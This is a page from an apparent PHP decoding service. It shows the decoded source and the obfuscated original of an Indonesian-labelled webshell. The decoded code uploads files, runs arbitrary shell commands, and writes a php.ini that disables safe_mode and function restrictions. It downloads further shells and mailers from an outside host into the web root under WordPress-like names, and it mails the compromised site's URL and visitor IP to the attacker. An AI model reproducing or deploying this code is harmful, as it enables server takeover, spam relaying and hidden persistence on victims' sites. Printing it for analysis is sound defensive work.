Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php /** CMD + AUTO WGET BY KEFIEX404 **/ $IDBTE4M = ('zUp7Yts2EP8/QL4DKxigvMVpuibbkNh2..

Decoded Output download

?>
<center>
<?=@php_uname()?>
<br>
<?php
echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';
echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>';
if( $_POST['_upl'] == "Upload" ) {
        if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>Upload SUKSES !!!</b><br><br>'; }
        else { echo '<b>Upload GAGAL !!!</b><br><br>'; }
}
?>
<form method="post">
<input type='submit' name='bn' value='CGI BNIDB'>
<input type='submit' name='shel' value='IDBTE4M SHELL'>
<input type='submit' name='ma' value='MAILER'>
<input type='submit' name='ws' value='WSO + SIMPLE MAILER'>
</form>
<form method="post">
<input type="text" name="cmd" size="30"><input type="submit" value="CMD">
</form>
<?php
$ini = "fopen";
$fw = "fwrite";
$ada = "function_exists";
$crot = "shell_exec";
if (isset($_POST['cmd'])) {
    $mulai = $ini('php.ini', 'w');
    $buat = " safe_mode = OFF n
disable_functions = NONE n
safe_mode_gid = OFF n
open_basedir = OFF n
register_globals = ON n
exec = ON n
shell_exec = ON n";
    $fw($mulai, $buat);
    if ($ada('shell_exec')) {
        $lihat = $_POST['cmd'];
        $hasil = $crot("$lihat");
        echo "<pre>$hasil</pre>";
    }
    
}
?>
<?php
$sh = 'file_get_contents';
if($_POST['bn']) {
$cgi = 'http://kefiex.yu.tl/files/lolipop.zip';
$get11 = $sh($cgi);
$idbk = fopen('.pl', 'w');
fwrite($idbk,$get11);
fclose($idbk);
{
@chmod('.pl',0755);
}
echo "<font color='black'>";
echo "CGIProxy sukses dibuat :D <br/>
Silahkan kunjungi http://alamat-domain-kamu/idbte4m.cgi atau lihat hasilnya <a href='.pl' target='_blank'>DISINI</a></center></br>"; 
echo "</font>";
}
echo "</font>";
if($_POST['shel']) {
$cgi = 'http://kefiex.yu.tl/files/idbv2.zip';
$get11 = $sh($cgi);
$idbk = fopen('i.php', 'w');
fwrite($idbk,$get11);
fclose($idbk);
{
@chmod('i.php',0755);
}
echo "<font color='black'>";
echo "IDBTE4M SHELL V4 READY <br/>
Silahkan kunjungi http://alamat-domain-kamu/i.php atau lihat hasilnya <a href='i.php' target='_blank'>DISINI</a></center></br>"; 
echo "</font>";
}
echo "</font>";
if($_POST['ma']) {
$cgi = 'http://kefiex.yu.tl/files/ma.zip';
$get11 = $sh($cgi);
$idbk = fopen('ma.php', 'w');
fwrite($idbk,$get11);
fclose($idbk);
{
@chmod('ma.php',0755);
}
echo "<font color='black'>";
echo "MAILER READY KAPTEN <br/>
Silahkan kunjungi http://alamat-domain-kamu/idbte4m.cgi atau lihat hasilnya <a href='ma.php' target='_blank'>DISINI</a></center></br>"; 
echo "</font>";
}
echo "</font>";

?>
<?php
@ini_set('output_buffering', 0);
@ini_set('display_errors', 0);
set_time_limit(0);
ini_set('memory_limit', '64M');
header('Content-Type: text/html; charset=UTF-8');
$tujuanmail = '[email protected]';
$x_path = "http://" . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'];
$pesan_alert = "Target $x_path :p *IP Address : [ " . $_SERVER['REMOTE_ADDR'] . " ]";
mail($tujuanmail, "Uploader", $pesan_alert, "[ " . $_SERVER['REMOTE_ADDR'] . " ]");
?>
<?php
if(isset($_POST['ws']))
{
function http_get($url){
$im = curl_init($url);
curl_setopt($im, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($im, CURLOPT_CONNECTTIMEOUT, 10);
curl_setopt($im, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($im, CURLOPT_HEADER, 0);
return curl_exec($im);
curl_close($im);
}
$check5 = $_SERVER['DOCUMENT_ROOT'] . "/wp-lojin.php" ;
$text5 = http_get('http://kefiex.yu.tl/files/ww.zip');
$open5 = fopen($check5, 'w');
fwrite($open5, $text5);
fclose($open5);
if(file_exists($check5)){
echo $check5."</br>";
}else 
echo "";
echo "" ;
$check5 = $_SERVER['DOCUMENT_ROOT'] . "/wp-commen.php" ;
$text5 = http_get('http://kefiex.yu.tl/files/maile.zip');
$open5 = fopen($check5, 'w');
fwrite($open5, $text5);
fclose($open5);
if(file_exists($check5)){
echo $check5."</br>";
}else 
echo "";
echo "" ;
echo "-= PBM =-<p>";
echo "-= IDBTE4M =-" ;
}
?>

Did this file decode correctly?

Original Code

<?php
/** CMD + AUTO WGET BY KEFIEX404 **/
$IDBTE4M = ('zUp7Yts2EP8/QL4DKxigvMVpuibbkNh2rMyWWwyurbRT7SAQJE6i6ri0UVSspaHffWqk5MdNpFaLAgsahLoX7+5qD/blxeFOOxEeEyGeXmkugyxjcI8Xwqy/UdJFM4B8ayCSzCe0vfLDgvCEVt/rGAYpBMv8tHAEfsQMIryELQLRMYo4dDLgIXihfCPljBsEDWqMOMh9norQIDLd+bqg55s7pBfEjHVYK5mLV0ifI/kRzqfHxlIpqJkumDJXpSheFpLpGzT9A89wYAzUaKCp/EVqypVWd+6V1bdiKMrSW9LpkFeS1Mk/hwek/AHZy8QPFnPNvZ5Znf4NUpfo7Q1yUuCiH/T2iHzB1Iw6mCJyhMsLep/0B+/7QZ88e/as3U1eYMLxl56Tz9tbUh6Jr6i+Hb4dQb+uCf8UfgqsPYiQupNeqjNSaA7p0qNypujo7YS86UHGYujDKkQm8o0SiNvOyYz03znT6TcUC75Emw0hX71iyM+jjfzrvlJ+Jf3J7HfqkB1yDepw4jaYuHBITCVSTUjVi3pI7UpFTD+j2djYu1b3U1ptkkDRrPxAawYUSHo1St/zQzKhCDzlihJ7qmpcZCcjFilJEvoMbJjKHBgiMUddEkZTkWBzSJ3gp64iXRo1dTKO1+LtJgVUmmOgVITOdv28lEzGXNkmEV8Jt/BGAV/W9TXxDg9FGfFyLtzKpwhLXavrIGIj7t7LZ6uC8blYHolHhlt3KO4hGBG697m/5DnasbrIwEs2H9vwV5JEObmamzqYI+1j5T2mABN00q0ure9ocS2XmYpjL1bnOwIZj3GOAphz09AKU31UUTWW0Q5PZKGl2y08Su6VnbjtqhLzKAOrqsfde8HcxIdO6rGonCmVP9BFt8rjTWWPYNGMseCs1U2LlRRqzVLccWwLjVGt3M9y4AfNjzJAIzWw+vw5bR5yJnejzzWZLtdARpVz0ibMqw3gutpZJWWktRU5yf2oJOM3+GWZcYB6qX78x+kp0j+X89eA9vEYVvzcD24k5DxMRpUMzYXBYxX6agsSxetVUSSVqsbOxgTmQgvy05c5z9bcI+vY+xR7EGgZMs9swUwj9QsuvcaaF2QLfG/ipHVvYWBUxFHDqUPwFpy0OclPseooQgnjIVHVoS445YFG41Z/0p20WxzmbLnHYBaG4CzZxNLCYJT7n79P2wFXDbLHTwV+f/jtKUDJJhTNj0BIGmsiS3sDmbw6IT10OP77u5DC+x/GVbv4ZkSCrfFLjAr+FIBA+gcRqiw8ESK9v1dg3g+veaf7RjupZ/MnwLQ3Hi9uF7m4vagfM9in7jJerVEovXvI8THmdCsBiyjI+cIVbuiHRMUHlstxIdxcwgo2FXqjRYjCDxeahaD9fjJGsHICX5MmHel23LBui58R3PatjBX5OVYyHoKFzsC+YfypR3cs/hRmD0WJeILqVzo5fmRsj6Rz4heqhu7cgDMc+VMJgk6asGj6Qe+V07uh+q/bHc4ca07uZW3OXwOnYruD3lF6pk0gIu65PBehTc22AoJHF5wF5JfJFRmmdiiiiJyRG2/8x97Msh1qOB731FoGucXso7PmQSxU1RsWHtewSmouBc5weW9haQCFJtx/jsCDDF4jqgWqF4SqQtyGcy0O8zq2qSwgxgS+XMCupINuUgF4fgA0TByR0aA3ta55t+fYg17X7g27/XinalGePyg9srpddHHbk5lwDXmQPn5D/NqaQa3XRng0tCdJ91vG305YogvKcyhLHG06EnyHoOhTuxoKUtn3tSQTyfpHPViqFI+t0WDmZyFPy7JoklvzoJH7n6SHHXYQSItDqai3VuQDA2E+SgNB1TAOsdPNNCvv/2+YKSkoBmjL7jhGjLoetepSo5+nlaE6T6n6vSQ0jWU2QLjqvyfVONjONR3P4xMBfUmI78wE1rv43ydQHxsdZfVzUzqNabCzBYBN7epBUFar1+a/');
eval(str_rot13(gzinflate(str_rot13(base64_decode(($IDBTE4M))))));

Function Calls

gzinflate 1
str_rot13 2
base64_decode 1

Variables

$IDBTE4M zUp7Yts2EP8/QL4DKxigvMVpuibbkNh2rMyWWwyurbRT7SAQJE6i6ri0UVSs..

Stats

MD5 cf17fd0d70d8e25510c839f4128b9417
Eval Count 1
Decode Time 95 ms